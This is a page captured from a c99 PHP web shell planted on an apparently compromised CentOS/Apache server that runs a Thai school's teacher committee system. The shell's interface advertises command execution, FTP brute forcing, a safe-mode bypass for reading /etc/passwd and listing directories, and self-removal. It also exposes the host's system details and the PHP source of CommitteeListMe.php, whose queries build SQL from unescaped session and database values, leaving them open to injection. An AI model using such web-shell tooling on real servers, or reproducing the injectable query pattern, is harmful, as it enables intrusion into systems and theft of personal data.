!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/training/Committee/   drwxr-xr-x
Free 50.66 GB of 127.8 GB (39.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CommitteeListMe.php (7.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
$Username $valid_user;
include(
"../../../include/FunctionDB.php");
ConnectDB();
$sql "Select * From personal_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error1").mysql_error();
$num mysql_num_rows($result);
$rs mysql_fetch_array($result);
$Teacher_code $rs[Teacher_code];
$sql2 "Select * From committee_tb Where Teacher_code='$Teacher_code'";
$result2 mysql_query($sql2) or die(" Error2").mysql_error();
$num mysql_num_rows($result2);
$rs2 mysql_fetch_array($result2);

?>
<html>
<head>
<title>Show Personal Lists</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../../../css/style1.css" type="text/css">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr> 
    <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
      <div align="center"><strong><font size="2" face="Tahoma"><a href="../menu_teacher.php" class="d">กลับหน้าหลัก</a></font></strong></div></td>
    <td width="20%" background="../../../Image/bart1.jpg" class="table">
<div align="center"><strong><font size="2" face="Tahoma"><a href="AddCommittee.php" class="d">เพิ่ม</a></font></strong></div></td>
    <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
      <div align="center"><strong><font size="2" face="Tahoma"><a href="FrmEditCommittee.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="d">แก้ไข</a></font></strong></div></td>
    <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
      <div align="center" ><strong><font size="2" face="Tahoma"><a href="../../logout.php" class="d">Logout</a></font></strong></div></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td><div align="center"><font size="2" face="Tahoma"><strong>ขณะนี้ อ.<font color="#993333"><? echo $rs['Teacher_name'?> 
        &nbsp;<? echo $rs['Teacher_lastname'?> </font>กำลังใช้งานระบบ </strong></font></div></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" style="border:1px solid gray">
  <form action="" method="post">
    <tr bgcolor="#AED7FF"> 
      <td height="21" colspan="3"> <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>ข้อมูลการเป็นกรรมการ 
          ของอาจารย์ </strong></font></div></td>
    </tr>
    <tr bordercolor="#0066CC" bgcolor="#CCE6FF"> 
      <td width="221" align="center" bgcolor="#CCE6FF" style="border:1px solid gray">&nbsp;</td>
      <td width="327" align="center" bgcolor="#CCE6FF" style="border:1px solid gray"><font size="2" face="Tahoma">แยกประเภทตาม 
        สมศ. 5.2 (กค 45)</font></td>
      <td width="449" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">แยกประเภทตามการเป็นกรรมการ</font> 
        <font size="2" face="Tahoma">ให้บริการวิชาการอื่นฯ</font></td>
    </tr>
    <tr bordercolor="#0066CC" bgcolor="#CCE6FF"> 
      <td height="26" align="center" bgcolor="#DFEBF9" style="border:1px solid gray"><font color="#000000" size="2" face="Tahoma">ชื่อเรื่อง</font></td>
      <td align="center" style="border:1px solid gray"><table width="100%" height="20" border="0" align="center" cellpadding="0" cellspacing="1">
          <tr bgcolor="#DFEBF9"> 
            <td width="25%" height="13"> <div align="center"><font size="1" face="Tahoma">วิชาการ</font></div></td>
            <td width="25%"> <div align="center"><font size="1" face="Tahoma">วิชาชีพ</font></div></td>
            <td width="25%"> <div align="center"><font size="1" face="Tahoma">วิทยานิพนธ์</font></div></td>
          </tr>
        </table></td>
      <td align="center" style="border:1px solid gray">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="2">
          <tr bgcolor="#DFEBF9"> 
            <td width="20%" style="border:1px solid gray"> <div align="center"><font size="1" face="Tahoma">ตรวจเครื่องมือ</font></div></td>
            <td width="20%" style="border:1px solid gray"> <div align="center"><font size="1" face="Tahoma">คปสข.10</font></div></td>
            <td width="20%" style="border:1px solid gray"> <div align="center"><font size="1" face="Tahoma">ชมรม 
                พยบ. </font></div></td>
            <td width="20%" bgcolor="#DFEBF9" style="border:1px solid gray"> <div align="center"><font size="1" face="Tahoma">เครือข่าย 
                สวส</font></div></td>
            <td width="20%" style="border:1px solid gray"> <div align="center"><font size="1" face="Tahoma">กรรมการ 
                อื่นๆ</font></div></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr bgcolor="#F9FEFF"> 
      <td bordercolor="#EBFAFE"><font size="2" face="Tahoma"><a href="Showpersonal.php?Teacher_code=<?echo $rs[Teacher_code]?>" class="d"><?echo $rs[First_name]?>&nbsp;<?echo $rs[Teacher_name]?>&nbsp;<?echo $rs[Teacher_lastname]?></a></font></td>
      <td bordercolor="#EBFAFE"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
          <tr bgcolor="#FCFEE9"> 
            <td width="25%" height="18"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu]?></font></div></td>
            <td width="25%"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu_job]?></font></div></td>
            <td width="25%"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Tsis]?></font></div></td>
          </tr>
        </table></td>
      <td bordercolor="#EBFAFE" bgcolor="#F9FEFF"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="2">
          <tr bgcolor="#FCFEE9"> 
            <td width="20%" height="18"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Check_tool]?></font></div></td>
            <td width="20%"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Scp10]?></font></div></td>
            <td width="20%"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Club_bcnlp]?></font></div></td>
            <td width="20%"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[North_network]?></font></div></td>
            <td width="20%"> <div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Else_commit]?></font></div></td>
          </tr>
        </table></td>
    </tr>
  </form>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="51%" border="0" align="left" cellpadding="0" cellspacing="1">
  <tr> 
    <td colspan="2"><font color="#993333" size="2" face="Tahoma"><strong>หมายเหตุ***</strong></font></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td width="34%"> 
      <div align="center"><strong><font size="2" face="Tahoma">Yes</font></strong></div></td>
    <td width="66%"><font color="#000000" size="2" face="Tahoma">เป็นกรรมการ</font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td> 
      <div align="center"><strong><font size="2" face="Tahoma">No</font></strong></div></td>
    <td><font color="#000000" size="2" face="Tahoma">ไม่ได้เป็นกรรมการ</font></td>
  </tr>
  <tr bgcolor="#eeeeee"> 
    <td> 
      <div align="center"><strong><font size="2" face="Tahoma">S</font></strong></div></td>
    <td><font size="2" face="Tahoma">ลาศึกษาต่อ/ไปช่วยราชการ </font></td>
  </tr>
</table>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0166 ]--